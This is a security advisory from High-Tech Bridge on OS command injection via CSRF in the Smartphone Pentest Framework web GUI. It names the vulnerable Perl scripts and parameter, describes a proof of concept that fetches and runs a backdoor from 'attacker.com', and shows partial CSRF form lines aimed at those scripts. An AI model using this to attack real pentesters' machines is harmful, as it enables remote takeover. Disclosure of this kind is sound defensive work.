286 software vendors have fixed 926 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.
Patch Available Upon Disclosure
|2014 Q1: 87%||2013 Q2: 92%|
|2013 Q4: 67%||2013 Q1: 100%|
|2013 Q3: 77%||2012 Q4: 68%|
Vendor Average Time to Patch
|2014 Q1: 5 days||2013 Q2: 30 days|
|2013 Q4: 8 days||2013 Q1: 13 days|
|2013 Q3: 13 days||2012 Q4: 26 days|
Multiple Command Execution Vulnerabilities in Smartphone Pentest Framework (SPF)
|Product:||Smartphone Pentest Framework (SPF)|
|Vendor:||Bulb Security LLC|
|Vulnerable Versions:||0.1.3, 0.1.4 and probably prior|
|Tested Version:||0.1.3, 0.1.4|
|Advisory Publication:||November 19, 2012 [without technical details]|
|Vendor Notification:||November 19, 2012|
|Public Disclosure:||December 10, 2012|
|Latest Update:||December 11, 2012|
|Vulnerability Type:||OS Command Injection [CWE-78]|
|CVSSv2 Base Score:||8.3 (AV:A/AC:L/Au:N/C:C/I:C/A:C)|
|Discovered and Provided:||High-Tech Bridge Security Research Lab|
High-Tech Bridge Security Research Lab discovered multiple command execution vulnerabilities in Smartphone Pentest Framework (SPF) web-based GUI, which could be exploited to get control over a pentester's machine remotely.
Similar vulnerabilities were discovered (https://www.htbridge.com/advisory/HTB23123, CVE-2012-5693) in the previous version (0.1.2) of SPF and were patched by vendor.
However, multiple CSRF vulnerabilities (HTB23123, CVE-2012-5695) were not patched by the vendor. Therefore even if the web server hosting SPF GUI is not accessible from the Internet (which is a case for the majority of pentesters) the vulnerabilities can still be easily exploited via a local/internal network, or even from the Internet via CSRF vector. In default installation of Smartphone Pentest Framework its web server port and application path of its GUI are easily predictable: localhost:80/frameworkgui/
Please refer to HTB23123 advisory (https://www.htbridge.com/advisory/HTB23123) for detailed attack scenarios examples.
Multiple Perl scripts in the "/frameworkgui/" directory do not perform sanitation of user-supplied input passed as argument to the "system()" function. This could be exploited to inject and execute arbitrary OS commands on the target system with privileges of the web server user.
1.1 The vulnerability exists in "SEAttack.pl" script due to insufficient validation of user-supplied input passed via the "hostingPath" parameter. The vulnerability can be exploited remotely via CSRF vector.
The PoC code below will download a backdoor located on 'attacker.com' and run it on pentester's machine with privileges of the web server. Despite relatively low privileges attacker can always try to download all files accessible to him and/or escalate privileges to get remote root access to the system.
<form action="http://localhost/cgi-bin/frameworkgui/SEAttack.pl" method="post" name=f1>
<form action="http://localhost/cgi-bin/frameworkgui/CSAttack.pl" method="post" name=f1>
<form action="http://localhost/cgi-bin/frameworkgui/attachMobileModem.pl" method="post" name=f1>
|On December 5, 2012 vendor replied that vulnerabilities are patched. However, on the Disclosure date version 0.1.4 was still found to be vulnerable.|
As a temporary solution remove or disable SPF's GUI.
| High-Tech Bridge Advisory HTB23127 - https://www.htbridge.com/advisory/HTB23127 - Multiple Vulnerabilities in Smartphone Pentest Framework (SPF).|
 Smartphone Pentest Framework (SPF) - http://www.bulbsecurity.com/smartphone-pentest-framework/ - Smartphone Pentest Framework is an open source security tool, designed to aid in assessing the security posture of smartphones in an environment.
 Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVEÂ® is a dictionary of publicly known information security vulnerabilities and exposures.
 Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.